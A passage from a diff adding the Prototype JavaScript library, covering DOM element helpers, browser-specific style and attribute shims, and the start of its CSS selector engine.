function() { + this.updater = new Ajax.Updater(this.container, this.url, this.options); + } +}); +function $(element) { + if (arguments.length > 1) { + for (var i = 0, elements = [], length = arguments.length; i < length; i++) + elements.push($(arguments[i])); + return elements; + } + if (typeof element == 'string') + element = document.getElementById(element); + return Element.extend(element); +} + +if (Prototype.BrowserFeatures.XPath) { + document._getElementsByXPath = function(expression, parentElement) { + var results = []; + var query = document.evaluate(expression, $(parentElement) || document, + null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); + for (var i = 0, length = query.snapshotLength; i < length; i++) + results.push(query.snapshotItem(i)); + return results; + }; + + document.getElementsByClassName = function(className, parentElement) { + var q = ".//*[contains(concat(' ', @class, ' '), ' " + className + " ')]"; + return document._getElementsByXPath(q, parentElement); + } + +} else document.getElementsByClassName = function(className, parentElement) { + var children = ($(parentElement) || document.body).getElementsByTagName('*'); + var elements = [], child; + for (var i = 0, length = children.length; i < length; i++) { + child = children[i]; + if (Element.hasClassName(child, className)) + elements.push(Element.extend(child)); + } + return elements; +}; + +/*--------------------------------------------------------------------------*/ + +(function() { + var element = this.Element; + this.Element = function(tagName, attributes) { + attributes = attributes || {}; + tagName = tagName.toLowerCase(); + var cache = Element.cache; + if (Prototype.Browser.IE && attributes.name) { + tagName = '<' + tagName + ' name="' + attributes.name + '">'; + delete attributes.name; + return Element.writeAttribute(document.createElement(tagName), attributes); + } + if (!cache[tagName]) cache[tagName] = Element.extend(document.createElement(tagName)); + return Element.writeAttribute(cache[tagName].cloneNode(false), attributes); + }; + Object.extend(this.Element, element || {}); +}).call(window); + +Element.cache = {}; + +Element.Methods = { + visible: function(element) { + return $(element).style.display != 'none'; + }, + + toggle: function(element) { + element = $(element); + Element[Element.visible(element) ? 'hide' : 'show'](element); + return element; + }, + + hide: function(element) { + $(element).style.display = 'none'; + return element; + }, + + show: function(element) { + $(element).style.display = ''; + return element; + }, + + remove: function(element) { + element = $(element); + element.parentNode.removeChild(element); + return element; + }, + + update: function(element, html) { + html = typeof html == 'undefined' ? '' : html.toString(); + $(element).innerHTML = html.stripScripts(); + html.evalScripts.bind(html).defer(); + return element; + }, + + replace: function(element, html) { + element = $(element); + html = typeof html == 'undefined' ? '' : html.toString(); + if (element.outerHTML) { + element.outerHTML = html.stripScripts(); + } else { + var range = element.ownerDocument.createRange(); + range.selectNode(element); + element.parentNode.replaceChild( + range.createContextualFragment(html.stripScripts()), element); + } + html.evalScripts.bind(html).defer(); + return element; + }, + + insert: function(element, insertions) { + element = $(element); + + if (typeof insertions == 'string' || typeof insertions == 'number' || + (insertions && insertions.ownerDocument === document)) + insertions = {bottom:insertions}; + + var content, t, range; + + for (position in insertions) { + content = insertions[position]; + position = position.toLowerCase(); + t = Element._insertionTranslations[position]; + + if (content && content.ownerDocument === document) { + t.insert(element, content); + continue; + } + + content = String.interpret(content); + + range = element.ownerDocument.createRange(); + t.initializeRange(element, range); + t.insert(element, range.createContextualFragment(content.stripScripts())); + + content.evalScripts.bind(content).defer(); + } + + return element; + }, + + wrap: function(element, wrapper) { + element = $(element); + wrapper = wrapper || 'div'; + if (typeof wrapper == 'string') wrapper = new Element(wrapper); + else Element.extend(wrapper); + element.parentNode.replaceChild(wrapper, element); + wrapper.appendChild(element); + return element; + }, + + inspect: function(element) { + element = $(element); + var result = '<' + element.tagName.toLowerCase(); + $H({'id': 'id', 'className': 'class'}).each(function(pair) { + var property = pair.first(), attribute = pair.last(); + var value = (element[property] || '').toString(); + if (value) result += ' ' + attribute + '=' + value.inspect(true); + }); + return result + '>'; + }, + + recursivelyCollect: function(element, property) { + element = $(element); + var elements = []; + while (element = element[property]) + if (element.nodeType == 1) + elements.push(Element.extend(element)); + return elements; + }, + + ancestors: function(element) { + return $(element).recursivelyCollect('parentNode'); + }, + + descendants: function(element) { + return $A($(element).getElementsByTagName('*')).each(Element.extend); + }, + + firstDescendant: function(element) { + element = $(element).firstChild; + while (element && element.nodeType != 1) element = element.nextSibling; + return $(element); + }, + + immediateDescendants: function(element) { + if (!(element = $(element).firstChild)) return []; + while (element && element.nodeType != 1) element = element.nextSibling; + if (element) return [element].concat($(element).nextSiblings()); + return []; + }, + + previousSiblings: function(element) { + return $(element).recursivelyCollect('previousSibling'); + }, + + nextSiblings: function(element) { + return $(element).recursivelyCollect('nextSibling'); + }, + + siblings: function(element) { + element = $(element); + return element.previousSiblings().reverse().concat(element.nextSiblings()); + }, + + match: function(element, selector) { + if (typeof selector == 'string') + selector = new Selector(selector); + return selector.match($(element)); + }, + + up: function(element, expression, index) { + element = $(element); + if (arguments.length == 1) return $(element.parentNode); + var ancestors = element.ancestors(); + return expression ? Selector.findElement(ancestors, expression, index) : + ancestors[index || 0]; + }, + + down: function(element, expression, index) { + element = $(element); + if (arguments.length == 1) return element.firstDescendant(); + var descendants = element.descendants(); + return expression ? Selector.findElement(descendants, expression, index) : + descendants[index || 0]; + }, + + previous: function(element, expression, index) { + element = $(element); + if (arguments.length == 1) return $(Selector.handlers.previousElementSibling(element)); + var previousSiblings = element.previousSiblings(); + return expression ? Selector.findElement(previousSiblings, expression, index) : + previousSiblings[index || 0]; + }, + + next: function(element, expression, index) { + element = $(element); + if (arguments.length == 1) return $(Selector.handlers.nextElementSibling(element)); + var nextSiblings = element.nextSiblings(); + return expression ? Selector.findElement(nextSiblings, expression, index) : + nextSiblings[index || 0]; + }, + + getElementsBySelector: function() { + var args = $A(arguments), element = $(args.shift()); + return Selector.findChildElements(element, args); + }, + + getElementsByClassName: function(element, className) { + return document.getElementsByClassName(className, element); + }, + + readAttribute: function(element, name) { + element = $(element); + if (Prototype.Browser.IE) { + if (!element.attributes) return null; + var t = Element._attributeTranslations.read; + if (t.values[name]) return t.values[name](element, name); + if (t.names[name]) name = t.names[name]; + var attribute = element.attributes[name]; + return attribute ? attribute.nodeValue : null; + } + return element.getAttribute(name); + }, + + writeAttribute: function(element, name, value) { + element = $(element); + var attributes = {}, t = Element._attributeTranslations.write; + + if (typeof name == 'object') attributes = name; + else attributes[name] = value === undefined ? true : value; + + for (var attr in attributes) { + var name = t.names[attr] || attr, value = attributes[attr]; + if (t.values[attr]) name = t.values[attr](element, value); + if (value === false || value === null) + element.removeAttribute(name); + else if (value === true) + element.setAttribute(name, name); + else element.setAttribute(name, value); + } + return element; + }, + + getHeight: function(element) { + return $(element).getDimensions().height; + }, + + getWidth: function(element) { + return $(element).getDimensions().width; + }, + + classNames: function(element) { + return new Element.ClassNames(element); + }, + + hasClassName: function(element, className) { + if (!(element = $(element))) return; + var elementClassName = element.className; + if (elementClassName.length == 0) return false; + if (elementClassName == className || + elementClassName.match(new RegExp("(^|\\s)" + className + "(\\s|$)"))) + return true; + return false; + }, + + addClassName: function(element, className) { + if (!(element = $(element))) return; + Element.classNames(element).add(className); + return element; + }, + + removeClassName: function(element, className) { + if (!(element = $(element))) return; + Element.classNames(element).remove(className); + return element; + }, + + toggleClassName: function(element, className) { + if (!(element = $(element))) return; + Element.classNames(element)[element.hasClassName(className) ? 'remove' : 'add'](className); + return element; + }, + + observe: function() { + Event.observe.apply(Event, arguments); + return $A(arguments).first(); + }, + + stopObserving: function() { + Event.stopObserving.apply(Event, arguments); + return $A(arguments).first(); + }, + + // removes whitespace-only text node children + cleanWhitespace: function(element) { + element = $(element); + var node = element.firstChild; + while (node) { + var nextNode = node.nextSibling; + if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) + element.removeChild(node); + node = nextNode; + } + return element; + }, + + empty: function(element) { + return $(element).innerHTML.blank(); + }, + + descendantOf: function(element, ancestor) { + element = $(element), ancestor = $(ancestor); + while (element = element.parentNode) + if (element == ancestor) return true; + return false; + }, + + scrollTo: function(element) { + element = $(element); + var pos = element.cumulativeOffset(); + window.scrollTo(pos[0], pos[1]); + return element; + }, + + getStyle: function(element, style) { + element = $(element); + style = style == 'float' ? 'cssFloat' : style.camelize(); + var value = element.style[style]; + if (!value) { + var css = document.defaultView.getComputedStyle(element, null); + value = css ? css[style] : null; + } + if (style == 'opacity') return value ? parseFloat(value) : 1.0; + return value == 'auto' ? null : value; + }, + + getOpacity: function(element) { + return $(element).getStyle('opacity'); + }, + + setStyle: function(element, styles, camelized) { + element = $(element); + var elementStyle = element.style; + + for (var property in styles) + if (property == 'opacity') element.setOpacity(styles[property]) + else + elementStyle[(property == 'float' || property == 'cssFloat') ? + (elementStyle.styleFloat === undefined ? 'cssFloat' : 'styleFloat') : + (camelized ? property : property.camelize())] = styles[property]; + + return element; + }, + + setOpacity: function(element, value) { + element = $(element); + element.style.opacity = (value == 1 || value === '') ? '' : + (value < 0.00001) ? 0 : value; + return element; + }, + + getDimensions: function(element) { + element = $(element); + var display = $(element).getStyle('display'); + if (display != 'none' && display != null) // Safari bug + return {width: element.offsetWidth, height: element.offsetHeight}; + + // All *Width and *Height properties give 0 on elements with display none, + // so enable the element temporarily + var els = element.style; + var originalVisibility = els.visibility; + var originalPosition = els.position; + var originalDisplay = els.display; + els.visibility = 'hidden'; + els.position = 'absolute'; + els.display = 'block'; + var originalWidth = element.clientWidth; + var originalHeight = element.clientHeight; + els.display = originalDisplay; + els.position = originalPosition; + els.visibility = originalVisibility; + return {width: originalWidth, height: originalHeight}; + }, + + makePositioned: function(element) { + element = $(element); + var pos = Element.getStyle(element, 'position'); + if (pos == 'static' || !pos) { + element._madePositioned = true; + element.style.position = 'relative'; + // Opera returns the offset relative to the positioning context, when an + // element is position relative but top and left have not been defined + if (window.opera) { + element.style.top = 0; + element.style.left = 0; + } + } + return element; + }, + + undoPositioned: function(element) { + element = $(element); + if (element._madePositioned) { + element._madePositioned = undefined; + element.style.position = + element.style.top = + element.style.left = + element.style.bottom = + element.style.right = ''; + } + return element; + }, + + makeClipping: function(element) { + element = $(element); + if (element._overflow) return element; + element._overflow = element.style.overflow || 'auto'; + if ((Element.getStyle(element, 'overflow') || 'visible') != 'hidden') + element.style.overflow = 'hidden'; + return element; + }, + + undoClipping: function(element) { + element = $(element); + if (!element._overflow) return element; + element.style.overflow = element._overflow == 'auto' ? '' : element._overflow; + element._overflow = null; + return element; + }, + + cumulativeOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + } while (element); + return Element._returnOffset(valueL, valueT); + }, + + positionedOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + if (element) { + if (element.tagName == 'BODY') break; + var p = Element.getStyle(element, 'position'); + if (p == 'relative' || p == 'absolute') break; + } + } while (element); + return Element._returnOffset(valueL, valueT); + }, + + absolutize: function(element) { + element = $(element); + if (element.getStyle('position') == 'absolute') return; + // Position.prepare(); // To be done manually by Scripty when it needs it. + + var offsets = element.positionedOffset(); + var top = offsets[1]; + var left = offsets[0]; + var width = element.clientWidth; + var height = element.clientHeight; + + element._originalLeft = left - parseFloat(element.style.left || 0); + element._originalTop = top - parseFloat(element.style.top || 0); + element._originalWidth = element.style.width; + element._originalHeight = element.style.height; + + element.style.position = 'absolute'; + element.style.top = top + 'px'; + element.style.left = left + 'px'; + element.style.width = width + 'px'; + element.style.height = height + 'px'; + return element; + }, + + relativize: function(element) { + element = $(element); + if (element.getStyle('position') == 'relative') return; + // Position.prepare(); // To be done manually by Scripty when it needs it. + + element.style.position = 'relative'; + var top = parseFloat(element.style.top || 0) - (element._originalTop || 0); + var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0); + + element.style.top = top + 'px'; + element.style.left = left + 'px'; + element.style.height = element._originalHeight; + element.style.width = element._originalWidth; + return element; + }, + + cumulativeScrollOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.scrollTop || 0; + valueL += element.scrollLeft || 0; + element = element.parentNode; + } while (element); + return Element._returnOffset(valueL, valueT); + }, + + getOffsetParent: function(element) { + if (element.offsetParent) return $(element.offsetParent); + if (element == document.body) return $(element); + + while ((element = element.parentNode) && element != document.body) + if (Element.getStyle(element, 'position') != 'static') + return $(element); + + return $(document.body); + }, + + viewportOffset: function(forElement) { + var valueT = 0, valueL = 0; + + var element = forElement; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + + // Safari fix + if (element.offsetParent == document.body && + Element.getStyle(element, 'position') == 'absolute') break; + + } while (element = element.offsetParent); + + element = forElement; + do { + if (!Prototype.Browser.Opera || element.tagName == 'BODY') { + valueT -= element.scrollTop || 0; + valueL -= element.scrollLeft || 0; + } + } while (element = element.parentNode); + + return Element._returnOffset(valueL, valueT); + }, + + clonePosition: function(element, source) { + var options = Object.extend({ + setLeft: true, + setTop: true, + setWidth: true, + setHeight: true, + offsetTop: 0, + offsetLeft: 0 + }, arguments[2] || {}); + + // find page position of source + source = $(source); + var p = source.viewportOffset(); + + // find coordinate system to use + element = $(element); + var delta = [0, 0]; + var parent = null; + // delta [0,0] will do fine with position: fixed elements, + // position:absolute needs offsetParent deltas + if (Element.getStyle(element, 'position') == 'absolute') { + parent = element.getOffsetParent(); + delta = parent.viewportOffset(); + } + + // correct by body offsets (fixes Safari) + if (parent == document.body) { + delta[0] -= document.body.offsetLeft; + delta[1] -= document.body.offsetTop; + } + + // set position + if (options.setLeft) element.style.left = (p[0] - delta[0] + options.offsetLeft) + 'px'; + if (options.setTop) element.style.top = (p[1] - delta[1] + options.offsetTop) + 'px'; + if (options.setWidth) element.style.width = source.offsetWidth + 'px'; + if (options.setHeight) element.style.height = source.offsetHeight + 'px'; + return element; + } +}; + +Object.extend(Element.Methods, { + childElements: Element.Methods.immediateDescendants +}); + +Element._attributeTranslations = { + write: { + names: { + className: 'class', + htmlFor: 'for' + }, + values: {} + } +}; + + +if (!document.createRange || Prototype.Browser.Opera) { + Element.Methods.insert = function(element, insertions) { + element = $(element); + + if (typeof insertions == 'string' || typeof insertions == 'number' || + (insertions && insertions.ownerDocument === document)) + insertions = {bottom:insertions}; + + var t = Element._insertionTranslations, content, position, pos, tagName; + + for (position in insertions) { + content = insertions[position]; + position = position.toLowerCase(); + pos = t[position]; + + if (content && content.ownerDocument === document) { + pos.insert(element, content); + continue; + } + + content = String.interpret(content); + tagName = ((position == 'before' || position == 'after') + ? element.parentNode : element).tagName.toUpperCase(); + + if (t.tags[tagName]) { + var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts()); + if (position == 'top' || position == 'after') fragments.reverse(); + fragments.each(pos.insert.curry(element)); + } + else element.insertAdjacentHTML(pos.adjacency, content.stripScripts()); + + content.evalScripts.bind(content).defer(); + } + + return element; + } +} + +if (Prototype.Browser.Opera) { + Element.Methods._getStyle = Element.Methods.getStyle; + Element.Methods.getStyle = function(element, style) { + switch(style) { + case 'left': + case 'top': + case 'right': + case 'bottom': + if (Element._getStyle(element, 'position') == 'static') return null; + default: return Element._getStyle(element, style); + } + }; + Element.Methods._readAttribute = Element.Methods.readAttribute; + Element.Methods.readAttribute = function(element, attribute) { + if (attribute == 'title') return element.title; + return Element._readAttribute(element, attribute); + }; +} + +else if (Prototype.Browser.IE) { + Element.Methods.getStyle = function(element, style) { + element = $(element); + style = (style == 'float' || style == 'cssFloat') ? 'styleFloat' : style.camelize(); + var value = element.style[style]; + if (!value && element.currentStyle) value = element.currentStyle[style]; + + if (style == 'opacity') { + if (value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/)) + if (value[1]) return parseFloat(value[1]) / 100; + return 1.0; + } + + if (value == 'auto') { + if ((style == 'width' || style == 'height') && (element.getStyle('display') != 'none')) + return element['offset' + style.capitalize()] + 'px'; + return null; + } + return value; + }; + + Element.Methods.setOpacity = function(element, value) { + function stripAlpha(filter){ + return filter.replace(/alpha\([^\)]*\)/gi,''); + } + element = $(element); + var filter = element.getStyle('filter'), style = element.style; + if (value == 1 || value === '') { + (filter = stripAlpha(filter)) ? + style.filter = filter : style.removeAttribute('filter'); + return element; + } else if (value < 0.00001) value = 0; + style.filter = stripAlpha(filter) + + 'alpha(opacity=' + (value * 100) + ')'; + return element; + }; + + Element._attributeTranslations = { + read: { + names: { + colspan: "colSpan", + rowspan: "rowSpan", + valign: "vAlign", + datetime: "dateTime", + accesskey: "accessKey", + tabindex: "tabIndex", + enctype: "encType", + maxlength: "maxLength", + readonly: "readOnly", + longdesc: "longDesc" + }, + values: { + _getAttr: function(element, attribute) { + return element.getAttribute(attribute, 2); + }, + _flag: function(element, attribute) { + return $(element).hasAttribute(attribute) ? attribute : null; + }, + style: function(element) { + return element.style.cssText.toLowerCase(); + }, + title: function(element) { + var node = element.getAttributeNode('title'); + return node.specified ? node.nodeValue : null; + } + } + } + }; + + Element._attributeTranslations.write = { + names: Object.extend({ + 'class': 'className', + 'for': 'htmlFor' + }, Element._attributeTranslations.read.names), + values: { + checked: function(element, value) { + element.checked = !!value; + }, + + style: function(element, value) { + element.style.cssText = value ? value : ''; + } + } + }; + + (function() { + Object.extend(this, { + href: this._getAttr, + src: this._getAttr, + type: this._getAttr, + disabled: this._flag, + checked: this._flag, + readonly: this._flag, + multiple: this._flag + }); + }).call(Element._attributeTranslations.read.values); +} + +else if (Prototype.Browser.Gecko) { + Element.Methods.setOpacity = function(element, value) { + element = $(element); + element.style.opacity = (value == 1) ? 0.999999 : + (value === '') ? '' : (value < 0.00001) ? 0 : value; + return element; + }; +} + +else if (Prototype.Browser.WebKit) { + // Safari returns margins on body which is incorrect if the child is absolutely + // positioned. For performance reasons, redefine Position.cumulativeOffset for + // KHTML/WebKit only. + Element.Methods.cumulativeOffset = function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + if (element.offsetParent == document.body) + if (Element.getStyle(element, 'position') == 'absolute') break; + + element = element.offsetParent; + } while (element); + + return [valueL, valueT]; + } +} + +if (Prototype.Browser.IE || Prototype.Browser.Opera) { + // IE and Opera are missing .innerHTML support for TABLE-related and SELECT elements + Element.Methods.update = function(element, html) { + element = $(element); + html = typeof html == 'undefined' ? '' : html.toString(); + var tagName = element.tagName.toUpperCase(); + + if (Element._insertionTranslations.tags[tagName]) { + $A(element.childNodes).each(function(node) { element.removeChild(node) }); + Element._getContentFromAnonymousElement(tagName, html.stripScripts()) + .each(function(node) { element.appendChild(node) }); + } + else element.innerHTML = html.stripScripts(); + + html.evalScripts.bind(html).defer(); + return element; + }; +} + +Element._returnOffset = function(l, t) { + var result = [l, t]; + result.left = l; + result.top = t; + return result; +}; + +Element._getContentFromAnonymousElement = function(tagName, html) { + var div = new Element('div'); t = Element._insertionTranslations.tags[tagName] + div.innerHTML = t[0] + html + t[1]; + t[2].times(function() { div = div.firstChild }); + return $A(div.childNodes); +}; + +Element._insertionTranslations = { + before: { + adjacency: 'beforeBegin', + insert: function(element, node) { + element.parentNode.insertBefore(node, element); + }, + initializeRange: function(element, range) { + range.setStartBefore(element); + } + }, + top: { + adjacency: 'afterBegin', + insert: function(element, node) { + element.insertBefore(node, element.firstChild); + }, + initializeRange: function(element, range) { + range.selectNodeContents(element); + range.collapse(true); + } + }, + bottom: { + adjacency: 'beforeEnd', + insert: function(element, node) { + element.appendChild(node); + } + }, + after: { + adjacency: 'afterEnd', + insert: function(element, node) { + element.parentNode.insertBefore(node, element.nextSibling); + }, + initializeRange: function(element, range) { + range.setStartAfter(element); + } + }, + tags: { + TABLE: ['', '
    ', 1], + TBODY: ['', '
    ', 2], + TR: ['', '
    ', 3], + TD: ['
    ', '
    ', 4], + SELECT: ['', 1] + } +}; + +(function() { + this.bottom.initializeRange = this.top.initializeRange; + Object.extend(this.tags, { + THEAD: this.tags.TBODY, + TFOOT: this.tags.TBODY, + TH: this.tags.TD + }); +}).call(Element._insertionTranslations); + +Element.Methods.Simulated = { + hasAttribute: function(element, attribute) { + var t = Element._attributeTranslations.read, node; + attribute = t.names[attribute] || attribute; + node = $(element).getAttributeNode(attribute); + return node && node.specified; + } +}; + +Element.Methods.ByTag = {}; + +Object.extend(Element, Element.Methods); + +if (!Prototype.BrowserFeatures.ElementExtensions && + document.createElement('div').__proto__) { + window.HTMLElement = {}; + window.HTMLElement.prototype = document.createElement('div').__proto__; + Prototype.BrowserFeatures.ElementExtensions = true; +} + +Element.extend = (function() { + if (Prototype.BrowserFeatures.SpecificElementExtensions) + return Prototype.K; + + var Methods = {}, ByTag = Element.Methods.ByTag; + + var extend = Object.extend(function(element) { + if (!element || element._extendedByPrototype || + element.nodeType != 1 || element == window) return element; + + var methods = Object.clone(Methods), + tagName = element.tagName, property, value; + + // extend methods for specific tags + if (ByTag[tagName]) Object.extend(methods, ByTag[tagName]); + + for (property in methods) { + value = methods[property]; + if (typeof value == 'function' && !(property in element)) + element[property] = value.methodize(); + } + + element._extendedByPrototype = Prototype.emptyFunction; + return element; + + }, { + refresh: function() { + // extend methods for all tags (Safari doesn't need this) + if (!Prototype.BrowserFeatures.ElementExtensions) { + Object.extend(Methods, Element.Methods); + Object.extend(Methods, Element.Methods.Simulated); + } + } + }); + + extend.refresh(); + return extend; +})(); + +Element.hasAttribute = function(element, attribute) { + if (element.hasAttribute) return element.hasAttribute(attribute); + return Element.Methods.Simulated.hasAttribute(element, attribute); +}; + +Element.addMethods = function(methods) { + var F = Prototype.BrowserFeatures, T = Element.Methods.ByTag; + + if (!methods) { + Object.extend(Form, Form.Methods); + Object.extend(Form.Element, Form.Element.Methods); + Object.extend(Element.Methods.ByTag, { + "FORM": Object.clone(Form.Methods), + "INPUT": Object.clone(Form.Element.Methods), + "SELECT": Object.clone(Form.Element.Methods), + "TEXTAREA": Object.clone(Form.Element.Methods) + }); + } + + if (arguments.length == 2) { + var tagName = methods; + methods = arguments[1]; + } + + if (!tagName) Object.extend(Element.Methods, methods || {}); + else { + if (tagName.constructor == Array) tagName.each(extend); + else extend(tagName); + } + + function extend(tagName) { + tagName = tagName.toUpperCase(); + if (!Element.Methods.ByTag[tagName]) + Element.Methods.ByTag[tagName] = {}; + Object.extend(Element.Methods.ByTag[tagName], methods); + } + + function copy(methods, destination, onlyIfAbsent) { + onlyIfAbsent = onlyIfAbsent || false; + for (var property in methods) { + var value = methods[property]; + if (typeof value != 'function') continue; + if (!onlyIfAbsent || !(property in destination)) + destination[property] = value.methodize(); + } + } + + function findDOMClass(tagName) { + var klass; + var trans = { + "OPTGROUP": "OptGroup", "TEXTAREA": "TextArea", "P": "Paragraph", + "FIELDSET": "FieldSet", "UL": "UList", "OL": "OList", "DL": "DList", + "DIR": "Directory", "H1": "Heading", "H2": "Heading", "H3": "Heading", + "H4": "Heading", "H5": "Heading", "H6": "Heading", "Q": "Quote", + "INS": "Mod", "DEL": "Mod", "A": "Anchor", "IMG": "Image", "CAPTION": + "TableCaption", "COL": "TableCol", "COLGROUP": "TableCol", "THEAD": + "TableSection", "TFOOT": "TableSection", "TBODY": "TableSection", "TR": + "TableRow", "TH": "TableCell", "TD": "TableCell", "FRAMESET": + "FrameSet", "IFRAME": "IFrame" + }; + if (trans[tagName]) klass = 'HTML' + trans[tagName] + 'Element'; + if (window[klass]) return window[klass]; + klass = 'HTML' + tagName + 'Element'; + if (window[klass]) return window[klass]; + klass = 'HTML' + tagName.capitalize() + 'Element'; + if (window[klass]) return window[klass]; + + window[klass] = {}; + window[klass].prototype = document.createElement(tagName).__proto__; + return window[klass]; + } + + if (F.ElementExtensions) { + copy(Element.Methods, HTMLElement.prototype); + copy(Element.Methods.Simulated, HTMLElement.prototype, true); + } + + if (F.SpecificElementExtensions) { + for (var tag in Element.Methods.ByTag) { + var klass = findDOMClass(tag); + if (typeof klass == "undefined") continue; + copy(T[tag], klass.prototype); + } + } + + Object.extend(Element, Element.Methods); + delete Element.ByTag; + + if (Element.extend.refresh) Element.extend.refresh(); + Element.cache = {}; +}; + +/*--------------------------------------------------------------------------*/ + +Element.ClassNames = Class.create(); +Element.ClassNames.prototype = { + initialize: function(element) { + this.element = $(element); + }, + + _each: function(iterator) { + this.element.className.split(/\s+/).select(function(name) { + return name.length > 0; + })._each(iterator); + }, + + set: function(className) { + this.element.className = className; + }, + + add: function(classNameToAdd) { + if (this.include(classNameToAdd)) return; + this.set($A(this).concat(classNameToAdd).join(' ')); + }, + + remove: function(classNameToRemove) { + if (!this.include(classNameToRemove)) return; + this.set($A(this).without(classNameToRemove).join(' ')); + }, + + toString: function() { + return $A(this).join(' '); + } +}; + +Object.extend(Element.ClassNames.prototype, Enumerable); +/* Portions of the Selector class are derived from Jack Slocum’s DomQuery, + * part of YUI-Ext version 0.40, distributed under the terms of an MIT-style + * license. Please see http://www.yui-ext.com/ for more information. */ + +var Selector = Class.create(); + +Selector.prototype = { + initialize: function(expression) { + this.expression = expression.strip(); + this.compileMatcher(); + }, + + compileMatcher: function() { + // Selectors with namespaced attributes can't use the XPath version + if (Prototype.BrowserFeatures.XPath && !(/\[[\w-]*?:/).test(this.expression)) + return this.compileXPathMatcher(); + + var e = this.expression, ps = Selector.patterns, h = Selector.handlers, + c = Selector.criteria, le, p, m; + + if (Selector._cache[e]) { + this.matcher = Selector._cache[e]; return; + } + this.matcher = ["this.matcher = function(root) {", + "var r = root, h = Selector.handlers, c = false, n;"]; + + while (e && le != e && (/\S/).test(e)) { + le = e; + for (var i in ps) { + p = ps[i]; + if (m = e.match(p)) { + this.matcher.push(typeof c[i] == 'function' ? c[i](m) : + new Template(c[i]).evaluate(m)); + e = e.replace(m[0], ''); + break; + } + } + } + + this.matcher.push("return h.unique(n);\n}"); + eval(this.matcher.join('\n')); + Selector._cache[this.expression] = this.matcher; + }, + + compileXPathMatcher: function() { + var e = this.expression, ps = Selector.patterns, + x = Selector.xpath, le, m; + + if (Selector._cache[e]) { + this.xpath = Selector._cache[e]; return; + } + + this.matcher = ['.//*']; + while (e && le != e && (/\S/).test(e)) { + le = e; + for (var i in ps) { + if (m = e.match(ps[i])) { + this.matcher.push(typeof x[i] == 'function' ? x[i](m) : + new Template(x[i]).evaluate(m)); + e = e.replace(m[0], ''); + break; + } + } + } + + this.xpath = this.matcher.join(''); + Selector._cache[this.expression] = this.xpath; + }, + + findElements: function(root) { + root = root || document; + if (this.xpath) return document._getElementsByXPath(this.xpath, root); + return this.matcher(root); + }, + + match: function(element) { + return this.findElements(document).include(element); + }, + + toString: function() { + return this.expression; + }, + + inspect: function() { + return "#"; + } +}; + +Object.extend(Selector, { + _cache: {}, + + xpath: { + descendant: "//*", + child: "/*", + adjacent: "/following-sibling::*[1]", + laterSibling: '/following-sibling::*', + tagName: function(m) { + if (m[1] == '*') return ''; + return "[local-name()='" + m[1].toLowerCase() + + "' or local-name()='" + m[1].toUpperCase() + "']"; + }, + className: "[contains(concat(' ', @class, ' '), ' #{1} ')]", + id: "[@id='#{1}']", + attrPresence: "[@#{1}]", + attr: function(m) { + m[3] = m[5] || m[6]; + return new Template(Selector.xpath.operators[m[2]]).evaluate(m); + }, + pseudo: function(m) { + var h = Selector.xpath.pseudos[m[1]]; + if (!h) return ''; + if (typeof h === 'function') return h(m); + return new Template(Selector.xpath.pseudos[m[1]]).evaluate(m); + }, + operators: { + '=': "[@#{1}='#{3}']", + '!=': "[@#{1}!='#{3}']", + '^=': "[starts-with(@#{1}, '#{3}')]", + '$=': "[substring(@#{1}, (string-length(@#{1}) - string-length('#{3}') + 1))='#{3}']", + '*=': "[contains(@#{1}, '#{3}')]", + '~=': "[contains(concat(' ', @#{1}, ' '), ' #{3} ')]", + '|=': "[contains(concat('-', @#{1}, '-'), '-#{3}-')]" + }, + pseudos: { + 'first-child': '[not(preceding-sibling::*)]', + 'last-child': '[not(following-sibling::*)]', + 'only-child': '[not(preceding-sibling::* or following-sibling::*)]', + 'empty': "[count(*) = 0 and (count(text()) = 0 or translate(text(), ' \t\r\n', '') = '')]", + 'checked': "[@checked]", + 'disabled': "[@disabled]", + 'enabled': "[not(@disabled)]", + 'not': function(m) { + var e = m[6], p = Selector.patterns, + x = Selector.xpath, le, m, v; + + var exclusion = []; + while (e && le != e && (/\S/).test(e)) { + le = e; + for (var i in p) { + if (m = e.match(p[i])) { + v = typeof x[i] == 'function' ? x[i](m) : new Template(x[i]).evaluate(m); + exclusion.push("(" + v.substring(1, v.length - 1) + ")"); + e = e.replace(m[0], ''); + break; + } + } + } + return "[not(" + exclusion.join(" and ") + ")]"; + }, + 'nth-child': function(m) { + return Selector.xpath.pseudos.nth("(count(./preceding-sibling::*) + 1) ", m); + }, + 'nth-last-child': function(m) { + return Selector.xpath.pseudos.nth("(count(./following-sibling::*) + 1) ", m); + }, + 'nth-of-type': function(m) { + return Selector.xpath.pseudos.nth("position() ", m); + }, + 'nth-last-of-type': function(m) { + return Selector.xpath.pseudos.nth("(last() + 1 - position()) ", m); + }, + 'first-of-type': function(m) { + m[6] = "1"; return Selector.xpath.pseudos['nth-of-type'](m); + }, + 'last-of-type': function(m) { + m[6] = "1"; return Selector.xpath.pseudos['nth-last-of-type'](m); + }, + 'only-of-type': function(m) { + var p = Selector.xpath.pseudos; return p['first-of-type'](m) + p['last-of-type'](m); + }, + nth: function(fragment, m) { + var mm, formula = m[6], predicate; + if (formula == 'even') formula = '2n+0'; + if (formula == 'odd') formula = '2n+1'; + if (mm = formula.match(/^(\d+)$/)) // digit only + return '[' + fragment + "= " + mm[1] + ']'; + if (mm = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b + if (mm[1] == "-") mm[1] = -1; + var a = mm[1] ? Number(mm[1]) : 1; + var b = mm[2] ? Number(mm[2]) : 0; + predicate = "[((#{fragment} - #{b}) mod #{a} = 0) and " + + "((#{fragment} - #{b}) div #{a} >= 0)]"; + return new Template(predicate).evaluate({ + fragment: fragment, a: a, b: b }); + } + } + } + }, + + criteria: { + tagName: 'n = h.tagName(n, r, "#{1}", c); c = false;', + className: 'n = h.className(n, r, "#{1}", c); c = false;', 